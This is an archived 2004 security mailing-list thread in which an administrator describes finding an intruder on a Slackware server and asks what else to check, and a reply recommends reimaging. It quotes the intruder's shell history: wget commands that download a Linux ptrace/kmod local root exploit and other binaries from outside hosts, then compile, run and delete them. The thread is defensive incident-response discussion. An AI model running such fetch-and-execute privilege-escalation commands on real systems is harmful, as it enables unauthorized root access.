

Re: Visited by a cracker

Source: <http://www.derkeiler.com/Mailing-Lists/securityfocus/focus-linux/2004-07/0022.html>

From: bugtraq (bugtraq_at_nsswfla.com)

Date: 07/12/04

To: "Per Christian B. Viken" <perchr@angryadmin.net>, <focus-linux@securityfocus.com>

Date: Mon, 12 Jul 2004 01:24:43 -0400

Reimage and be done with it. Better safe than sorry. Anything else isn't good business practice.

—Gary Simat

----- Original Message -----

From: "Per Christian B. Viken" <perchr@angryadmin.net>

To: <focus-linux@securityfocus.com>

Sent: Sunday, July 11, 2004 10:45 AM

Subject: Visited by a cracker

> Hello

>

> I've had a rather disturbing evening.

> A friend of mine runs a small server for himself and some friends. It's

> running slackware 10.

> When I logged in, I noticed that the load was way over what's normal
(around

> 1.36 now, usually it's under 0.10), so I run 'top'. I see a program called

> 'strace' running, hogging all the cpu power.

>

> So I get curious. I chdir to the users home, and looks around. It's empty.

> But, the 'smart' little cracker has forgotten about .bash_history, so here

I

> can see everything that he has been doing.

> Apparently, he has downloaded and setup an eggdrop, removed it again, and

> then downloaded a psybnc, which he also removed shortly. Then things get

> interesting.

>

> <SNIP>

> wget <http://personal.telefonica.terra.es/web/alex/b/e/ptrace-kmod.c>

> gcc ptrace-kmod.c -o ptrace

> ./ptrace

> chmod +x ptrace

> ./ptrace

> rm -rf ptrace

> ls

> rm -rf ptrace-kmod.c

SecurityFocus Linux: Re: Visited by a cracker

```
> wget www.drac.as.ro/egx
> chmod +x egx
> ./egx
> who
> passwd
> Uptime
> <SNIP>
> ./egx
> rm -rf egx
> wget 220.88.27.11/usage/apache.tar.gz
> </SNIP>
>
> The ptrace-kmod.c has this for a header:
> /*
> * Linux kernel ptrace/kmod local root exploit
> *
> * This code exploits a race condition in kernel/kmod.c, which creates
> * kernel thread in insecure manner. This bug allows to ptrace cloned
> * process, allowing to take control over privileged modprobe binary.
> *
> * Should work under all current 2.2.x and 2.4.x kernels.
>
> Luckily, the server runs 2.6.6, so this wasn't any threat.
> The 'egx' executable seems to be somewhat like the other, cause when I run
> it, it outputs '[ - ] Unable to determine kernel address: Operation not
> supported' and dies.
>
> My guesses are that the apache.tar.gz-file is also some kind of exploit,
but
> I couldn't get it, so I didn't get a chance to see.
>
> Seeing that he didn't know how to properly hide his tracks, I hoped he
might
> be stupid enough to use his own IP to log in from as well, so I run 'cat
> /var/log/messages | grep <username>'.
> But, he has logged in and out using 7 different Ips. 5 belonging to
> Pakistan, and the other two to Libanon.
>
> I've been suspicious to this user since my friend added him a few days
ago.
> He actually got a domain, prepaid for three years for an account, so I did
> have some concerns about this.
> Now, after discovering this, I've talked with my friend, and the credit
card
> used to paying for the domain, belongs to a woman in the UK. Probably
stolen
> or something.
>
> I've run chkrootkit 0.43 and Rootkit Hunter 1.1.1 and they didn't find
> anything.
> So, my real question is:
```

Re: Visited by a cracker

SecurityFocus Linux: Re: Visited by a cracker

>
> *Is there anything else I should check out? Anywhere else some nasty exploits*
> *or trojans might be hiding? And should I try to find this guy? Or is it*
> *probably hopeless?*
>
> *Best Regards,*
> *Per Christian B. Viken*
>
> -----
> -
> *ASCII ribbon campaign ()*
> *- against HTML email X*
> *& vCards /*
>